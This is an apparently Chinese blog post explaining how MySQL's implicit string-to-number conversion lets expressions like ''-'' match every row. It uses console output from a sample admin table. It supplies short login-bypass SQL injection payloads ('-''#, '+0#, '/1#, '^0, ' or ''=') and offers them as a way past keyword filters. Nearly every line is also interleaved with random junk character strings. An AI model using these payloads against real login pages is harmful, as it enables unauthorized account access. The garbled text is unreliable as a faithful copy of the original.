我们先来看这样一个场景。+ N, b$ w5 D/ X$ V/ l& j! h
有以下表结构: " W$ G; J( n: d3 V$ m% p: B
& }6 N* I- E5 }0 `8 Fmysql> desc admin;
3 j1 p, ]; Y$ E8 d+----------+--------------+------+-----+---------+----------------+* u2 k, S$ H9 z0 N# c9 j0 u
| Field | Type | Null | Key | Default | Extra |
) `9 W' P c: u( Y9 D L+----------+--------------+------+-----+---------+----------------+2 b- ^4 ^, B/ y; s+ T
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
0 ^# Z8 i$ C0 \( W; S( S| name | char(32) | NO | UNI | NULL | |
. y8 z5 c- g* C- z" J| password | char(32) | NO | UNI | NULL | |2 d1 \* ^* } F6 S7 L7 d4 t2 p8 N0 y' R
+----------+--------------+------+-----+---------+----------------+: p. m z8 }9 s, E K) K& l
3 rows in set (0.00 sec)
3 R% B; p3 I$ M4 Q( K执行select * from admin;,成功返回所有记录内容。
" n+ W* L9 O6 X7 T
( d$ c3 Q; a; v2 I6 j( V; w8 }/ x/ B
+----+--------+----------------------------------+
# l; s3 \& X% X| id | name | password |" X+ y6 H) k3 ^$ @. _9 }1 U" N
+----+--------+----------------------------------+0 ]' m4 H( J; g4 r
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |* |* @) `6 n4 c! @8 m) F
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |* y6 ?1 I: R4 w
| 4 | n00b | ff80e8508d39047460921792273533a4 |
, j. L& m% O+ }7 d2 n6 l+----+--------+----------------------------------+, M3 x3 _$ K# X. j
3 rows in set (0.00 sec)7 X+ q2 B& }5 `* C4 @
执行select * from admin where name=”;,没有匹配到任何记录。
+ a @7 N) G$ x4 k
8 q1 k/ @6 k$ H% U7 Vmysql> select * from admin where name = '';4 g6 L) K/ N$ Z% l3 {1 D/ Q. s
Empty set (0.00 sec)
+ } z* ]. F6 Y6 t$ O- J那么我们来执行select * from admin where name = ”-”;1 c8 r* ~( b g" I5 R# E- y
6 ^7 w9 X3 T" \) v3 e7 K6 [/ K0 q
5 d* D6 _- x5 i9 N& w6 ~& k- I5 x5 K+----+--------+----------------------------------+8 a! m/ P* ]" ^- d; ^4 c# n' j
| id | name | password |
5 ]9 }0 L4 v1 C* @ s& ~+----+--------+----------------------------------+. l1 U- ~" K$ p6 z% @" ~
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
B/ f% G1 F+ H1 ~| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |5 I, F! N2 f2 z' M& b0 n" }
| 4 | n00b | ff80e8508d39047460921792273533a4 |
) {9 w- t2 U9 N$ j; i9 T; O" }+----+--------+----------------------------------+
$ e4 s7 h" n" ^; F2 n9 C c3 rows in set, 3 warnings (0.00 sec)
& H# b" D' F/ D可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
- I4 P4 @. l) ~5 s* y) L2 ^; b. `
" `* _) J8 l O6 P: [mysql> show warnings;
0 L- T. Z8 v5 ` O3 X- T! p* E9 O3 U+---------+------+------------------------------------------4 c A8 @$ L# i2 N
| Level | Code | Message
* W. H9 W9 {0 w* C. H$ E+---------+------+------------------------------------------5 H o6 q4 V2 K7 ]1 q
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin0 c' Q0 [0 `4 p& ?6 m/ m. N6 d; A
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s, J" P, r! A- p+ U( F3 _3 [
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b. D' V5 Y8 W( N+ C+ q- _
+---------+------+------------------------------------------6 c! V1 v9 h0 L2 r5 Q9 q2 ^
3 rows in set (0.00 sec)
8 V9 Z) I# }6 i1 I, e提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
- f: b' D0 y& ~; o1 |0 a1 m" H+ E/ q
7 j7 P' L$ u7 ymysql> select ''-'';. Q; N6 A; E+ ~ ~. I9 y
+-------+
1 A2 v- b" t h0 M- x1 k2 J, p" H| ''-'' |8 v. W$ }8 H% ]* V) p
+-------+
& K6 Z6 j3 q! r8 Q& g+ C' x1 N| 0 |9 o D0 f7 V% d% F2 d9 Z b
+-------+, `+ S7 i/ T6 u" v: p5 Q8 @3 a
1 row in set (0.00 sec) x1 y8 @! C3 r" v
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
( Z3 n- J$ O" h7 {3 W* R6 [3 o0 K5 m' j4 y0 q
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
* d) O' i1 M. O1 L0 z% ~, C. L/ _1 J+-----------------------------------------------------+
2 o! S/ p1 I$ t* t| CAST((select name from admin limit 1,1) as DECIMAL) |
( W4 s- s2 j' S: |5 p+-----------------------------------------------------+
( ^) m9 T& i3 B. m9 B| 0 |3 u2 {$ {" W4 E+ G
+-----------------------------------------------------+. W: o. ~; Y: M; I3 J% x
1 row in set, 1 warning (0.00 sec)
5 z2 k# m; `8 P7 g/ h因此where语句构成了相等的条件,where 0=”=”,记录被返回。
A0 q+ Y# G! Y7 `9 s) B6 F/ ]/ G
" M1 R) t/ U; {6 BSQL注入场景: http://www.sqlzoo.net/hack/ 5 `4 d% V5 o, W$ O
. I: `' L6 O% r. \0 ~0 r0 F
- b& Q/ H3 j" P) G x% Q; @' @3 B( e2 O4 J+ U# L& g
- s% T& p* g1 s. P4 p如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
/ y& C2 z5 k2 _' G' f9 E1 S- [9 d% y3 U4 M8 R- [
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 & [- ^* \6 h0 \* D8 d P3 w
7 K1 v+ L" K5 `1 B
/ K% B- E+ t4 ] q* \- X
X5 V& `7 k Y2 x7 @; |" e9 e. L2 b& D- q& Y
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
5 u2 y3 [0 R! H/ ]
* d! W% a& r- G4 ~3 ~" `
" F& |+ w- N- j$ ^* `6 U5 X1 S8 g$ b- q4 T$ ]* J/ l% p5 u
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可. N* F# @+ ?& z" d; H" }
9 S2 L3 P3 O' p& y4 x
/ [$ x: ]1 Z, D# |2 l' `* f( }" g' pmysql> select ''/1;7 B) b8 j+ [) _3 N: r% x! d8 [
+------+8 y$ Y! I" [) O- x, n9 Z
| ''/1 |
0 u7 y8 W" n6 P4 C# E0 u+------+& @ k& F2 T- K
| 0 |$ c+ p% N4 J. m! \
+------+
) a4 k( Y7 O8 d5 R1 row in set (0.00 sec)% d3 Z8 p5 o8 Q7 z+ n6 C
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 % a( h9 O! w& t" {$ R) `3 X
4 l) R8 x" T6 L: S. z
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
2 O0 D4 z* Q, ]) Q, { |
|